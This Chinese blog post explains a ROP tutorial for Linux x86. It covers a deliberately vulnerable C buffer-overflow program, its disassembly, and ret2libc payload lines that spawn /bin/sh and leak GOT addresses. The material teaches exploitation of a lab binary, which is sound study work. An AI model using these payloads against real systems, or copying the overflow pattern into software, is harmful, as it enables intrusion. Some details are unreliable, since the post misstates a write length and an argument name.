博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一步一步学ROP之linux_x86篇
阅读量:6642 次
发布时间:2019-06-25

本文共 3125 字,大约阅读时间需要 10 分钟。

   0x00

    本文仅解释说明蒸米大神。读者应先阅读这篇文章,遇到问题再来看我这篇文章。

    阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可运行),ASLR(内存地址随机化)。Stack Protector(栈保护),Memory Leak

   0x01

    第一个问题:为什么要构造成”A”*140+ret字符串。这个140是怎么来的呢?

    要回答这个问题,我们须要把level1.c反汇编。level1.c代码例如以下:

#include 
#include
#include
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256);} int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13);}
    使用objdump -S level1反汇编,结果例如以下:

08048404 
: 8048404: 55 push %ebp 8048405: 89 e5 mov %esp,%ebp 8048407: 81 ec 98 00 00 00 sub $0x98,%esp //esp-0x98 804840d: c7 44 24 08 00 01 00 movl $0x100,0x8(%esp)//存放第三个參数256 8048414: 00 8048415: 8d 85 78 ff ff ff lea -0x88(%ebp),%eax//存放第二个參数,buf的地址 804841b: 89 44 24 04 mov %eax,0x4(%esp) 804841f: c7 04 24 00 00 00 00 movl $0x0,(%esp)//存放第一个參数,STDOUT_FILENO 8048426: e8 e5 fe ff ff call 8048310
804842b: c9 leave 804842c: c3 ret 0804842d
: 804842d: 55 push %ebp 804842e: 89 e5 mov %esp,%ebp 8048430: 83 e4 f0 and $0xfffffff0,%esp 8048433: 83 ec 10 sub $0x10,%esp 8048436: e8 c9 ff ff ff call 8048404
804843b: c7 44 24 08 0d 00 00 movl $0xd,0x8(%esp) 8048442: 00 8048443: c7 44 24 04 30 85 04 movl $0x8048530,0x4(%esp) 804844a: 08 804844b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048452: e8 e9 fe ff ff call 8048340
8048457: c9 leave 8048458: c3 ret 8048459: 90 nop 804845a: 90 nop 804845b: 90 nop 804845c: 90 nop 804845d: 90 nop 804845e: 90 nop 804845f: 90 nop
    当main函数调用call 8048404 <vulnerable_function>,參考上面的代码凝视,就形成了下图结构:

   0x02

    payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这段代码是为了运行system("/bin/sh"),然后返回到ret继续运行。也就是binshaddr是system的參数。那么为什么这些写能够呢?

    我们先来看8048426: e8 e5 fe ff ff call 8048310 <read@plt>是怎么样取參数的?

    调用read后。依次向堆栈中存储了EIP和EBP。此时假设想取第一个參数。须要用ESP-8。

    同理我们就能够理解 payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这句代码的含义,例如以下图。观察右边的小图

    这样我们就能理解为什么/bin/sh是第一个參数。为什么system("/bin/sh")运行后返回到ret了。

   0x03

    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)这句话运行的函数是?

    write(STDOUT_FILENO, got_write, 3);

   0x04

    在一文中,讲到了Memory Leak,这段代码的含义是什么呢?

payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
    从标准输入读取/bin/sh到.bss段,相应的代码read(STDIN_FILENO, bss_addr, 8)。

    然后返回到pppt,运行pop pop pop ret。也就是绕过p32(0) + p32(bss_addr) + p32(8),运行system_addr,之后的流程就和原来一致了。

你可能感兴趣的文章
PCA主成份分析学习记要
查看>>
[链接地址] Kafka设计解析
查看>>
Spring Cloud 分布式链路跟踪 Sleuth + Zipkin + Elasticsearch【Finchley 版】
查看>>
django视图001
查看>>
第一章Accp 8.0
查看>>
基于BootStrap的initupload()实现Excel上传和获取excel中的数据
查看>>
新增 修改,对xx名字或者其他属性做校验判断是否存在
查看>>
EF6 在原有数据库中使用 CodeFirst 总复习(一、搭建基础环境)
查看>>
MySQL性能优化小结
查看>>
Spring+SpringMVC+MyBatis)
查看>>
BZOJ-2190: [SDOI2008]仪仗队 (欧拉函数)
查看>>
浅谈 .NET 中的对象引用、非托管指针和托管指针
查看>>
[ASP.NET MVC 小牛之路]15 - Model Binding
查看>>
python3学习笔记(三):注释和字符串
查看>>
C#中的static静态变量的用法
查看>>
3大原则让你的编程之路越走越顺
查看>>
编译安装samba 3.3.3
查看>>
sqlserver move database or datafile
查看>>
校验台湾身份证号码的js脚本
查看>>
1.7---将矩阵元素为0的行列清零0(CC150)
查看>>